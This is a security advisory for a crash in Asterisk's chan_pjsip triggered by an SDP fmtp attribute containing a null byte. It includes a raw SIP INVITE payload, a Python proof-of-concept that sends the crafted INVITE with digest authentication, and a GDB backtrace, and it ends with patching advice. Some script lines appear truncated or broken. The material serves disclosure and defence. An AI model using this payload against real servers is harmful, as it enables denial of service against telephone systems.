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Segmentation fault occurs in asterisk with an invalid SDP fmtp attribute


A specially crafted SDP message body with an invalid fmtp attribute causes a segmentation fault in asterisk using chan_pjsip.


Abuse of this vulnerability leads to denial of service in Asterisk when chan_pjsip is in use.

How to reproduce the issue

The following SIP message was used to reproduce the issue:

INVITE sip:5678@ SIP/2.0
To: <sip:5678@>
From: Test <sip:5678@>
Call-ID: adc9caea-2d0a-40af-9de5-1dd21387e03a
Via: SIP/2.0/UDP;branch=z9hG4bKadc9caea-2d0a-40af-9de5-1dd21387e03a
Contact: <sip:5678@>
Content-Type: application/sdp
Content-Length: 228

o=- 1061502179 1061502179 IN IP4
c=IN IP4
t=0 0
m=audio 17000 RTP/AVP 9 0 101
a=rtpmap:8 alaw/8000
a=rtpmap:0 PCMU/8000
a=rtpmap:101 telephone-event/8000
a=fmtp\x00:101 0-16


  • \x00 should be replaced by the null character
  • authentication may be required
  • the destination SIP address should match a valid extension in the dialplan.

To facilitate this process we wrote the following python program to reproduce this issue:

import socket
import re
import md5
import uuid

UDP_IP = ""
UDP_PORT = 13940
USERNAME = "5678"
PASSWORD = "5678"

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.bind((UDP_IP, UDP_PORT))

callid = str(uuid.uuid4())

sdpbody = "v=0\r\no=- 1061502179 1061502179 IN IP4\r\n" \
    "s=Asterisk\r\n" \
    "c=IN IP4\r\n" \
    "t=0 0\r\n" \
    "m=audio 17000 RTP/AVP 9 0 101\r\n" \
    "a=rtpmap:8 alaw/8000\r\n" \
    "a=rtpmap:0 PCMU/8000\r\n" \
    "a=rtpmap:101 telephone-event/8000\r\n" \
    "a=fmtp\x00:101 0-16\r\n"\

msg="INVITE sip:%s@%s:%i SIP/2.0\r\n" \
    "To: <sip:%s@%s:%i>\r\n" \
    "From: Test <sip:%s@%s:%s>\r\n" \
    "Call-ID: %s\r\n" \
    "CSeq: 2 INVITE\r\n" \
    "Via: SIP/2.0/UDP;branch=z9hG4bK%s\r\n" \
    "Contact: <sip:%s@>\r\n" \
    "Content-Type: application/sdp\r\n" \
    "{{AUTH}}" \
    "Content-Length: %i\r\n" \
    "\r\n" % (
        callid, callid,
        USERNAME, len(sdpbody)
        ) + \

sock.sendto(msg.replace("{{AUTH}}", ""), (SERVER_IP, SERVER_PORT))

data, addr = sock.recvfrom(10240)

if data.startswith("SIP/2.0 401"):
    for line in data.split('\r\n'):
        if line.startswith("WWW-Authenticate"):
            content = line.split(':', 2)[1].strip()
            realm ="realm=\"([a-z]+)\"", content).group(1)
            nonce ="nonce=\"([a-z0-9\/]+)\"", content).group(1)
            ha1 = + ":" + realm + ":" + PASSWORD).hexdigest()
            uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
            ha2 ="INVITE:" + uri).hexdigest()
            r = + ":" + nonce + ":" + ha2).hexdigest()

            auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
                "realm=\"%s\"," % (realm) + \
                "nonce=\"%s\"," % (nonce) + \
                "uri=\"%s\"," % (uri) + \
                "response=\"%s\"," % (r) + \

sock.sendto(msg.replace("{{AUTH}}", auth), (SERVER_IP, SERVER_PORT))

This security issue was discovered through the use of simple fuzzing with Radamsa and our internal toolset.

GDB backtrace result

Thread 197 "asterisk" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7fff65e57700 (LWP 10595)]
pjmedia_sdp_attr_get_fmtp (attr=<optimized out>, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350
350	    while (pj_isdigit(*p) && p!=end)
(gdb) bt
#0  pjmedia_sdp_attr_get_fmtp (attr=<optimized out>, fmtp=fmtp@entry=0x7fff65e56430) at ../src/pjmedia/sdp.c:350
#1  0x00007fff6bf49070 in get_codecs (session_media=0x7fff74799540, codecs=0x7fff65e56450, stream=0x7fff97f99de0, session=0x7fff74581688) at res_pjsip_sdp_rtp.c:276
#2  set_caps (session=session@entry=0x7fff74581688, session_media=session_media@entry=0x7fff74799540, session_media_transport=0x7fff74799540, stream=stream@entry=0x7fff97f99de0, is_offer=is_offer@entry=1, asterisk_stream=asterisk_stream@entry=0x7fff747a03b0)
    at res_pjsip_sdp_rtp.c:352
#3  0x00007fff6bf4b2d7 in negotiate_incoming_sdp_stream (session=0x7fff74581688, session_media=0x7fff74799540, sdp=<optimized out>, index=<optimized out>, asterisk_stream=0x7fff747a03b0) at res_pjsip_sdp_rtp.c:1185
#4  0x00007ffff1a16bb9 in handle_incoming_sdp (session=session@entry=0x7fff74581688, sdp=0x7fff97f99870) at res_pjsip_session.c:671
#5  0x00007ffff1a1a721 in new_invite (invite=<synthetic pointer>) at res_pjsip_session.c:2871
#6  handle_new_invite_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:2966
#7  session_on_rx_request (rdata=0x7fff573f88d8) at res_pjsip_session.c:3030
#8  0x00007ffff7868df7 in pjsip_endpt_process_rx_data (endpt=<optimized out>, rdata=rdata@entry=0x7fff573f88d8, p=p@entry=0x7ffff1a0ace0 <param>, p_handled=p_handled@entry=0x7fff65e56d44) at ../src/pjsip/sip_endpoint.c:887
#9  0x00007ffff17e009f in distribute (data=0x7fff573f88d8) at res_pjsip/pjsip_distributor.c:903
#10 0x00000000005fb3be in ast_taskprocessor_execute (tps=tps@entry=0x1dc33a8) at taskprocessor.c:963
#11 0x0000000000602610 in execute_tasks (data=0x1dc33a8) at threadpool.c:1322
#12 0x00000000005fb3be in ast_taskprocessor_execute (tps=0x1a39488) at taskprocessor.c:963
#13 0x0000000000602af0 in threadpool_execute (pool=0x1a37ca8) at threadpool.c:351
#14 worker_active (worker=0x7fff9457ccd8) at threadpool.c:1105
#15 worker_start (arg=arg@entry=0x7fff9457ccd8) at threadpool.c:1024
#16 0x000000000060d4bd in dummy_start (data=<optimized out>) at utils.c:1257
#17 0x00007ffff5e3d6ba in start_thread (arg=0x7fff65e57700) at pthread_create.c:333
#18 0x00007ffff54263dd in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:109

Solutions and recommendations

Apply the patch issued by Asterisk at or upgrade to the latest release.

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